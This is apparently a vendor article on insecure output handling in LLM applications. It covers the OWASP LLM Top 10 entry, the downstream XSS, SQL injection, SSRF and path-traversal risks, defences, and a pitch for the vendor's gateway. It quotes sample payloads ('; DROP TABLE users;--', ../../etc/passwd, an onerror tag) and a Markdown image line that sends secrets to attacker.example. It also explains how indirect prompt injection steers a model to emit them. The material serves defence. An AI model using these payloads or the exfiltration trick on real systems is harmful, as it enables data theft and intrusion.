Insecure Output Handling

Executive summary

Insecure output handling is the failure to validate, sanitize, and encode the output of a large language model (LLM) before that output is passed to another system. It is not a flaw in the model. It is a flaw in the code that consumes the model — the same class of mistake that has produced cross-site scripting, SQL injection, and remote code execution for a quarter of a century, now reappearing wherever an application treats generated text as trusted.

The pattern is deceptively simple. A developer builds a feature that asks a model a question and then does something useful with the answer: rendering it on a page, saving it to a database, running it as code, calling a tool, or fetching a URL it named. If that answer is handed to the downstream component without the escaping, parameterization, and validation you would apply to any untrusted input, then anything injectable the model produced is executed by the downstream component with the application's own privileges. The model becomes an unwitting delivery vehicle for a payload — one the attacker often planted, and one the model itself may have generated by accident.

This article is written for the people who have to own that risk: application security engineers, AI platform teams, CISOs, and the architects designing agentic systems. It explains what insecure output handling is, how the OWASP Top 10 for LLM Applications names it, and precisely which downstream vulnerabilities it produces. It then makes the argument that matters most for prioritization — that this is a well-understood appsec problem re-emerging at a new boundary, which means the enterprise already owns most of the defenses it needs. Finally, it lays out those defenses concretely.

What insecure output handling actually is

Start with a precise definition, because the phrase is used loosely. Insecure output handling occurs when an application accepts the output of an LLM and passes it to a downstream function, service, or client without sufficient validation, sanitization, or context-appropriate encoding. The downstream component then interprets some portion of that output as instructions — as markup, as a query, as a command, as a path, as a URL — rather than as inert data. The result is that a component acts on content it should have treated as data.

Three properties make this worth naming as its own class of vulnerability rather than folding it into general injection:

• The source is a model, not a user. Developers instinctively distrust a text box that a stranger types into. They do not instinctively distrust the eloquent, well-formatted answer that comes back from a model they are paying for. That misplaced trust is the entire vulnerability. The model is not an authority; it is a text generator that will happily produce a <script> tag, a DROP TABLE, or a rm -rf if the tokens line up that way.
• The output is often attacker-influenced. In any system where untrusted content reaches the prompt — a user message, a retrieved document, a scraped web page, an email in an agent's inbox — an attacker can steer what the model produces. Insecure output handling is the mechanism that turns that influence into execution. The attacker writes the payload; your code delivers it to the interpreter.
• The output is unpredictable. Model output is non-deterministic and effectively unbounded in shape. You cannot enumerate every string the model might emit, so you cannot rely on the model to "just not produce" dangerous content. You have to assume it will, and neutralize it downstream.

Notice what this definition excludes. It is not about the model saying something false, biased, or embarrassing — that is a content and safety concern. It is not about the model leaking a secret from its context — that is sensitive information disclosure. Insecure output handling is specifically about the consuming code mishandling the output such that a downstream system executes it. Keeping that boundary sharp is what lets you assign the fix to the right place: the integration code, not the model.

The OWASP Top 10 for LLM Applications entry

The Open Worldwide Application Security Project (OWASP) maintains the OWASP Top 10 for LLM Applications, a community-driven catalog of the most critical risks in software built on large language models. Insecure output handling has been a named entry since the project's first release, and it is worth being exact about the history because the naming changed.

• In the 2023 list, it appeared as LLM02: Insecure Output Handling, defined as insufficient validation, sanitization, and handling of the outputs generated by large language models before they are passed downstream to other components and systems.
• In the 2025 edition, the entry was refined and renamed LLM05: Improper Output Handling. The definition is materially the same — insufficient validation, sanitization, and encoding of model output before it is passed to other components — and the OWASP guidance explicitly frames the downstream consequences as cross-site scripting, cross-site request forgery, server-side request forgery, privilege escalation, and remote code execution when output reaches a browser, a backend, or a system shell.

Both the old name ("insecure") and the new one ("improper") point at the same root cause, and you will see practitioners use them interchangeably. The rename to "improper" is deliberate: it emphasizes that the failure is in how the application handles the output, aligning the entry with the way OWASP describes the classic web injection categories. It is the same insight applied to a new source of untrusted data.

OWASP also draws a clean line between this entry and its neighbors. Prompt injection (LLM01) is about manipulating the model's input and behavior. Sensitive information disclosure and excessive agency cover, respectively, data leaking through output and agents being granted too much power to act. Improper output handling sits precisely at the seam where the model's response leaves the model and enters the rest of your architecture. If you are building an inventory of your AI attack surface, this is the control point where "what the model said" becomes "what your systems did."

Input trust versus output trust

Application security has spent decades teaching one lesson above all others: never trust input. Validate it, encode it for its destination, and never let data cross into the control plane. The AI era adds a second lesson that many teams have not yet internalized: never trust output either. In an LLM application, the model's output is simply another untrusted input — an input to your renderer, your database driver, your shell, your HTTP client, your file system.

The reason this is easy to miss is psychological as much as technical. The traditional trust boundary is intuitive: content arrives from "out there," from a user or a partner or the internet, and everyone agrees it is suspect. But the model sits inside the application. It is a component the team built with, tuned, and tested. It answers in fluent prose. Every instinct says the answer is a result, not a payload. That instinct is wrong, and correcting it is the single most important mental shift in defending against insecure output handling.

Consider how output flows in a typical LLM feature. A request comes in. The application assembles a prompt — perhaps mixing a system instruction, some retrieved documents, and the user's message. The model returns a string. Then that string is used: it might be rendered as HTML in a support widget, parsed as JSON to drive a UI, interpreted as a SQL fragment in a natural-language-to-query feature, executed as Python in a code-interpreter tool, or supplied as an argument to a tool the agent decided to call. Each of those "used" arrows crosses a trust boundary. Each one needs the model output to be treated as hostile until proven safe for that specific destination. Miss one, and you have insecure output handling.

The downstream vulnerabilities, one by one

Insecure output handling is not a single bug; it is a family of them, defined by where the unsanitized output lands. Below is the concrete catalog. In every case the fix lives in the consuming component, and in every case the vulnerability is one the industry already knows how to close — which is exactly the point of the next section.

Cross-site scripting (XSS) when output is rendered in a browser

This is the most common and the most immediately dangerous. An LLM-powered chat interface, summarizer, or help widget takes the model's answer and injects it into the page. If the application renders that answer as raw HTML — the classic mistake of assigning to innerHTML or rendering unescaped Markdown that permits inline HTML — then any <script>, <img onerror=...>, or event-handler attribute the model produced runs in the victim's browser, in the victim's session. From there an attacker can steal session tokens, make authenticated requests as the user, deface the interface, or pivot deeper. Because so many chat UIs render Markdown, and Markdown renderers frequently allow a subset of HTML by default, this is a remarkably easy vulnerability to ship without noticing.

SQL injection when output builds a query

Natural-language-to-SQL is a popular feature: the user asks a question in English, the model writes a query, and the application runs it against the database. If the model's output is concatenated into a SQL statement as a string — or even executed verbatim — then output that contains '; DROP TABLE users;-- or a crafted UNION SELECT behaves exactly like classic SQL injection. The database cannot tell that the malicious fragment came from a model rather than a form field; it just executes SQL. The same logic applies to NoSQL query languages, ORM raw-query escapes, and any templated query construction.

Command and code execution

Agentic systems increasingly let a model produce code or shell commands that are then executed — a code interpreter, a "run this" tool, a build step, a data-analysis sandbox. If the execution environment is not properly isolated, model output that contains system calls, network requests, or file operations runs with whatever privileges that environment holds. Passing model output into eval(), exec(), a template engine that allows code, a shell via os.system, or a deserializer that instantiates objects are all direct paths to remote code execution. This is the highest-severity form of insecure output handling because it hands the attacker general-purpose compute.

Server-side request forgery (SSRF)

When a model chooses a URL and the server then fetches it — to summarize a page, call a webhook, or load a resource an agent named — the model's output controls where your server sends requests. An attacker who influences that output can point it at internal metadata endpoints, cloud instance-metadata services, internal admin panels, or other services reachable only from inside your network. The server makes the request with its own trusted network position, and the attacker reads the response through the model or through side effects. This is SSRF, arising because the destination of a server-side request was taken, unvalidated, from generated text.

Path traversal and file operations

If model output is used to build a file path — "save this to the file the user asked for," "read the document named in the response" — then output containing ../../etc/passwd or an absolute path can escape the intended directory. The application reads or writes files outside its sandbox because it trusted the model to name a safe path. The same category covers arbitrary file read, arbitrary file write, and overwriting configuration or code, all stemming from unsanitized output flowing into a filesystem API.

Markdown and HTML injection

Even where full scripting is blocked, the structural elements of Markdown and HTML carry risk. Model-authored links can point at phishing or malware sites while displaying trustworthy anchor text. Injected form elements or styled overlays can mount clickjacking and UI-redress attacks. Auto-embedded content can pull resources from attacker-controlled hosts. Because Markdown is the lingua franca of chat interfaces, and because it deliberately compiles to HTML, treating model-generated Markdown as safe by default is a recurring source of injection that is easy to underestimate.

Data exfiltration through rendered images and links

This one deserves special attention because it is quiet and it defeats naive "we blocked scripts" defenses. Suppose the model has, in its context, something sensitive — retrieved customer data, a conversation history, a secret pulled in by a tool. Now suppose the model emits a Markdown image such as ![x](https://attacker.example/log?d=<secret>). When the client renders that Markdown, the browser automatically issues a GET request to the attacker's server to load the "image," carrying the secret in the URL. No script executes. No user clicks. The data is exfiltrated by the mere act of rendering the output. The same technique works with auto-loaded link previews and other resources the client fetches on its own. This is a textbook example of why rendering untrusted output is itself an action that must be constrained, not just executing it.

A classic appsec problem, re-emerging at a new boundary

Here is the argument that should shape how an enterprise prioritizes this risk: insecure output handling is not a novel, exotic AI threat requiring a from-scratch defense program. It is injection — the oldest and most thoroughly studied category in application security — arriving through a new door. The OWASP web Top 10 has ranked injection at or near the top for its entire existence. Cross-site scripting, SQL injection, command injection, SSRF, and path traversal are all decades old, with mature, well-documented mitigations. What changed is not the vulnerability. What changed is the source of the untrusted content.

For years, the untrusted source was a human at a keyboard or a system at the other end of a wire. Now it is also a language model sitting in the middle of your own stack. The consuming code never cared where the string came from — it only ever cared whether the string was properly encoded for its destination. A database driver does not check the provenance of a query; a browser does not check the provenance of markup. So the defensive question is unchanged: is this data safely encoded for the context it is about to enter?

This reframing is good news, and it is the practical heart of this article. It means the enterprise is not starting from zero. The output-encoding libraries, parameterized-query APIs, sandboxing tools, allow-list patterns, and secure-coding standards you already use for web input apply directly. Your existing appsec expertise transfers. The task is not to invent new science; it is to recognize the model as an untrusted source and extend controls you already own to cover the new boundary.

Two things make the re-emergence genuinely harder than the original, and it is worth naming them so teams do not underestimate the work:

• Unbounded, unpredictable output. A form field has a shape you can validate against; model output can be anything, in any format, and can vary run to run. You cannot write a tidy input schema and be done. You have to encode defensively at every consumption point and constrain output structure wherever the use case allows.
• The illusion of a trusted component. With web input, the trust boundary is obvious and organizationally acknowledged. With a model, the boundary is invisible and psychologically resisted, so it is routinely omitted from threat models and code review. Making the boundary explicit — in architecture diagrams, in review checklists, in developer training — is half the battle.

For teams building on LLMs, the corollary is that everything in your existing secure LLM application practices — threat modeling, secure defaults, code review, dependency hygiene — should be extended to treat the model as an untrusted input source. That is a smaller lift than a greenfield program, and it is the correct framing to take to leadership.

How it chains with prompt injection

Insecure output handling rarely makes headlines on its own. It becomes catastrophic when it is chained with prompt injection, and understanding that chain is essential to defending against either.

Prompt injection is the attacker's way of controlling what the model produces. It comes in two forms. Direct prompt injection is where the attacker types the malicious instruction into the model themselves. Indirect prompt injection — the more insidious variety — is where the attacker plants instructions in content the model will later ingest: a web page the agent browses, a document in a retrieval corpus, an email in the assistant's inbox, a review the summarizer reads. When the model processes that poisoned content, it follows the hidden instructions.

Now put the two together. The attacker uses indirect prompt injection to make the model generate a specific payload — a <script> tag, a malicious SQL fragment, an exfiltration image URL, a command for the code tool. Then insecure output handling is what carries that payload into the interpreter that executes it. Prompt injection is the loaded gun; insecure output handling is what pulls the trigger. Neither alone is fully weaponized: an injected instruction the model obeys is harmless if the resulting output is properly sanitized before use, and a sanitization gap is far less dangerous if the attacker cannot steer what the model emits.

This is precisely why defense in depth matters here and why the two controls must be built separately. You cannot rely on perfect prompt-injection defense — no input filter catches every phrasing, and indirect injection surfaces are broad. So you must assume some malicious output will be generated, and make the output side safe regardless. Equally, you cannot rely on perfect output handling to excuse leaving the input open, because unfiltered injection enables many attacks beyond output execution, including data exfiltration from context and abuse of tool privileges. The mature posture treats input and output as two independent trust boundaries, each defended on its own terms.

Defenses that actually work

The good news established above is that the mitigations are known. The work is to apply them systematically at every point where model output is consumed. The following is the defensive program, ordered from mindset to mechanism.

1. Treat all model output as untrusted

This is the governing principle from which the rest follows. Adopt it as an explicit engineering standard: model output is untrusted input to every downstream component, full stop. Put the trust boundary on the architecture diagram. Add it to the threat model for every LLM feature. Make "how is model output validated before it reaches X?" a required question in code review. Most insecure output handling ships not because the fix was hard but because no one recognized there was a boundary to defend. Naming the boundary is the first and highest-leverage control.

2. Contextual output encoding

The single most important technical mitigation is context-aware output encoding: escape the output for the exact context it is about to enter, at the moment it enters it. The same string requires different treatment depending on destination — HTML-entity encoding for a browser body, attribute encoding inside a tag attribute, JavaScript-string encoding for a script context, URL encoding for a query parameter. Use the platform's proven encoding libraries rather than hand-rolled escaping. For HTML specifically, render model output as inert text by default, and if you must allow rich formatting, run it through a strict, well-maintained sanitizer with a conservative allow-list of tags and attributes. Encoding at the point of use — not once, early, and hopefully — is what neutralizes XSS, HTML injection, and the image-based exfiltration described above.

3. Parameterization and safe APIs over string building

Wherever model output touches a query or a command, never build the statement by concatenating strings. Use parameterized queries and prepared statements so that data can never be reinterpreted as query structure. Use library APIs that pass arguments as an explicit array rather than through a shell. Prefer typed, structured interfaces over textual ones. This is the same guidance that closed SQL injection and command injection in traditional applications; it closes them here for the same reason. If a natural-language-to-SQL feature must run generated SQL, constrain it: run it as a read-only role, against a restricted schema, with query allow-listing or a validating parser between the model and the database.

4. Allow-lists and strict output schemas

Free-form text is the hardest thing to secure, so reduce how much of it you have to trust. Where the use case permits, constrain the model to structured output — a JSON schema, an enum of permitted actions, a bounded set of fields — and validate the response against that schema before using it, rejecting anything that does not conform. If the model is choosing a tool, a table, a URL host, or a file, validate the choice against an allow-list of known-good values rather than accepting an arbitrary string. Allow-listing the destination of any server-side request is the core defense against SSRF; allow-listing and canonicalizing file paths is the core defense against path traversal. Constraining shape shrinks the attack surface before encoding ever has to save you.

5. Sandbox all tool and code execution

If model output can cause code or commands to run — a code interpreter, an agent tool, a data-analysis environment — that execution must be sandboxed and isolated. Run it in an ephemeral, containerized or micro-VM environment with no ambient credentials, no access to internal networks by default, no secrets mounted, and strict resource limits. Deny egress except to explicitly allowed destinations. Treat the sandbox as compromised by design and ensure that a compromise stays contained to a throwaway environment. Sandboxing does not prevent the model from emitting malicious code; it ensures that when it does, the blast radius is a disposable box rather than your production estate.

6. Least privilege everywhere output is consumed

Assume some malicious output will occasionally slip through and design so the damage is bounded. Every component that acts on model output should hold the minimum privilege required: the database role behind a query feature should be read-only and schema-scoped; the service account behind a tool should be able to do only that one tool's job; the agent's credentials should be narrowly scoped and short-lived. This principle — closely related to avoiding the excessive agency that OWASP lists separately — is what converts a would-be breach into a contained, low-impact event. It is the safety net beneath encoding and sandboxing.

7. An inline inspection layer

The controls above are implemented in application code, feature by feature, which means coverage depends on every team getting every integration point right. An inline inspection layer — an AI gateway that sits between your application and the model — provides defense in depth that does not rely on each developer remembering each control. It inspects prompts and responses in real time, detects and blocks known injection and exfiltration patterns before output ever reaches your systems or users, enforces output policy centrally, and produces an immutable audit log of every decision. This is the role of our Prompt Firewall: an inline gateway that examines every prompt and response, blocks prompt injection, jailbreaks, PII leakage, and data exfiltration, and logs each verdict for audit. It does not replace secure coding at the point of use; it is the coordinated layer that catches what individual integrations miss and gives security a single control plane over the model boundary.

Where encryption fits

Encryption does not stop injection — a properly encoded output is safe whether or not it was encrypted, and an encrypted payload is just as dangerous once decrypted and mishandled. But encryption is the control that protects the data flowing through the model boundary while these defenses do their work, and it protects the audit records that prove the defenses ran. On the Deflected platform, every byte in transit and at rest — prompts, responses, tool arguments, and the immutable logs of every inspection decision — is protected with post-quantum cryptography, encryption designed to resist attacks from both classical and quantum computers.

The standards we use are the ones finalized by the U.S. National Institute of Standards and Technology (NIST):

• ML-KEM-1024 (formerly CRYSTALS-Kyber, NIST FIPS 203) for key encapsulation, exchanging keys at a 256-bit quantum security level.
• Hybrid X25519 + ML-KEM key exchange, which runs a proven classical algorithm alongside the post-quantum one, so the channel stays secure even if either scheme is ever weakened.
• AES-256-GCM for symmetric encryption of data at rest and in transit.

This matters here because of the harvest now, decrypt later threat: adversaries can capture encrypted traffic today and store it to decrypt once quantum computers arrive. Any prompt, response, or audit log that will still be sensitive years from now — and security telemetry usually is — needs post-quantum protection today. Encryption is not a substitute for handling output safely; it is the layer that keeps the surrounding data confidential and the evidence trustworthy while output handling does the injection-prevention work.

A reference architecture for safe output

Pulling the defenses together, a robust LLM feature handles output along a consistent path, regardless of what the feature does. Use this as a checklist when designing or reviewing an integration:

1. Generate under inspection. The prompt is assembled with untrusted content clearly separated from trusted instructions, and the request passes through an inline gateway that inspects both the prompt and the eventual response.
2. Constrain the shape. Where possible, the model is asked for structured output against a schema, and the response is validated against that schema before anything else touches it. Nonconforming output is rejected, not repaired-and-used.
3. Validate against allow-lists. Any value that will select a destination — a tool, a table, a URL host, a file path — is checked against an allow-list of known-good options and canonicalized before use.
4. Encode for the destination. At each point of consumption, the output is encoded for that exact context: HTML rendering uses inert-text-by-default plus a strict sanitizer; queries use parameterization; commands use argument arrays; URLs are URL-encoded and host-checked.
5. Execute in a sandbox. Any code or command derived from output runs in an isolated, credential-free, egress-restricted environment with resource limits.
6. Act with least privilege. Every downstream component holds the minimum permissions for its job, so a slipped payload has a bounded blast radius.
7. Log immutably. Every inspection verdict and every consequential action is recorded in an immutable, encrypted audit trail for detection, forensics, and compliance.

An architecture that does all seven treats the model exactly as it should be treated: as a powerful but untrusted component whose output is data until proven safe for a specific use. That is the whole discipline of defending against insecure output handling, and it is a discipline the enterprise already knows — it simply has to apply it at the new boundary.

For a broader tour of every entry point an attacker can target across models, prompts, retrieval, and agents, see our guide to the AI attack surface; for the full set of secure-by-design practices this control fits into, see building secure LLM applications. Insecure output handling is one control point among many, but it is the one where an attacker's words most directly become your systems' actions — which is why it deserves to be closed first and closed everywhere.

Frequently asked questions